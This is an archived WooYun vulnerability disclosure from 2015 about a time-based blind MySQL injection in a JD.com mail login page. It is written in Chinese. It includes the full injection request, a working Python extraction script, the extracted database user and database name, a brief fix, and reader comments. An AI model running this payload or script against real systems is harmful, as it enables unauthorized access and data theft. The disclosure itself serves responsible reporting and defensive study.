京东商城某重要系统MySQL注射(附验证脚本)

编号164982
Urlhttp://www.wooyun.org/bug.php?action=view&id=164982
漏洞状态厂商已经确认
漏洞标题京东商城某重要系统MySQL注射(附验证脚本)
漏洞类型SQL注射漏洞
厂商京东商城
白帽子lijiejie
提交日期2015-12-26 18:35:00
公开日期2016-02-09 23:29:00
修复时间(not set)
确认时间2015-12-27 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank15
漏洞简介
京东商城某重要系统MySQL注射(附验证脚本)
漏洞细节

注射点:

POST https://mail.jd.com/Erpout/Logon.aspx
captcha=test&destination=https://mail.jd.com/owa/&flags=0&forcedownlevel=0&isflag=0&isUtf8=1&maindo=mail.jd.com&showCheck=0&trusted=4&txtPassword=test&txtUser=aaaa'XOR(if(ascii(mid(user(),1,1))=106%2cbenchmark(10000000,md5(1))%2c0))OR'bbb&__EVENTVALIDATION=/wEWBwLxrpTlDwKK4MvjBQLB2tiHDgK1qbSRCwLk6JP4DALErdS5DwKqh7gQj3wgMfb0vbvb1oZ%2bQLNUO5k2Fs0%3d&__VIEWSTATE=/wEPDwULLTEyOTM4NDQ0ODFkZJ5XXKyC0nN6Jccew80z8q/DFEs5


参数txtUser可注入,MySQL time blind。benchmark(15000000,md5(1)),响应时间大于2.0s。

POC

猜解MySQL user(),得到:

[Done]MySQL user is [email protected]


database():   jdmail


jd_mysqli_timeblind.png


python验证脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': 'ValiCode=PDC9BIL5P735'}
payloads = list('[email protected]_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1, 23):
for payload in payloads:
conn = httplib.HTTPSConnection('mail.jd.com', timeout=30)
s = "captcha=test&destination=https://mail.jd.com/owa/&" \
"flags=0&forcedownlevel=0&isflag=0&isUtf8=1&maindo=mail.jd.com&showCheck=0" \
"&trusted=4&txtPassword=test&" \
"txtUser=aaaa'XOR(if(ascii(mid(user(),"+str(i)+",1))="+str(ord(payload))+"%2cbenchmark(15000000,md5(1))%2c0))OR'bbb" \
"&__EVENTVALIDATION=/wEWBwLxrpTlDwKK4MvjBQLB2tiHDgK1qbSRCwLk6JP4DALErdS5DwKqh7gQj3wgMfb0vbvb1oZ%2bQLNUO5k2Fs0%3d" \
"&__VIEWSTATE=/wEPDwULLTEyOTM4NDQ0ODFkZJ5XXKyC0nN6Jccew80z8q/DFEs5"
conn.request(method='POST',
url="/Erpout/Logon.aspx",
body=s,
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
if time.time() - start_time > 2.0:
user += payload
print '\n[In progress] %s' % user
break
else:
print '.',

print '\n[Done]MySQL user is', user

修复方案

参数转义,过滤

状态信息 2015-12-26: 细节已通知厂商并且等待厂商处理中
2015-12-27: 厂商已经确认,细节仅向厂商公开
2016-01-06: 细节向核心白帽子及相关领域专家公开
2016-01-16: 细节向普通白帽子公开
2016-01-26: 细节向实习白帽子公开
2016-02-09: 细节向公众公开
厂商回复非常感谢您对京东安全的关注!
回应信息危害等级:高漏洞Rank:15 确认时间:2015-12-27 21:33
Showing 1-7 of 7 items.
评论内容评论人点赞数评论时间

牛逼

qhwlpg02015-12-27 21:37:00

挖大厂的,赞一个

Aasron02015-12-26 23:49:00

猪猪侠

故滨02015-12-26 22:12:00

关注

bigx02015-12-26 21:44:00

这个关注下。

大师兄02015-12-26 21:25:00

zeracker02015-12-26 20:33:00

666

Hero02015-12-26 19:50:00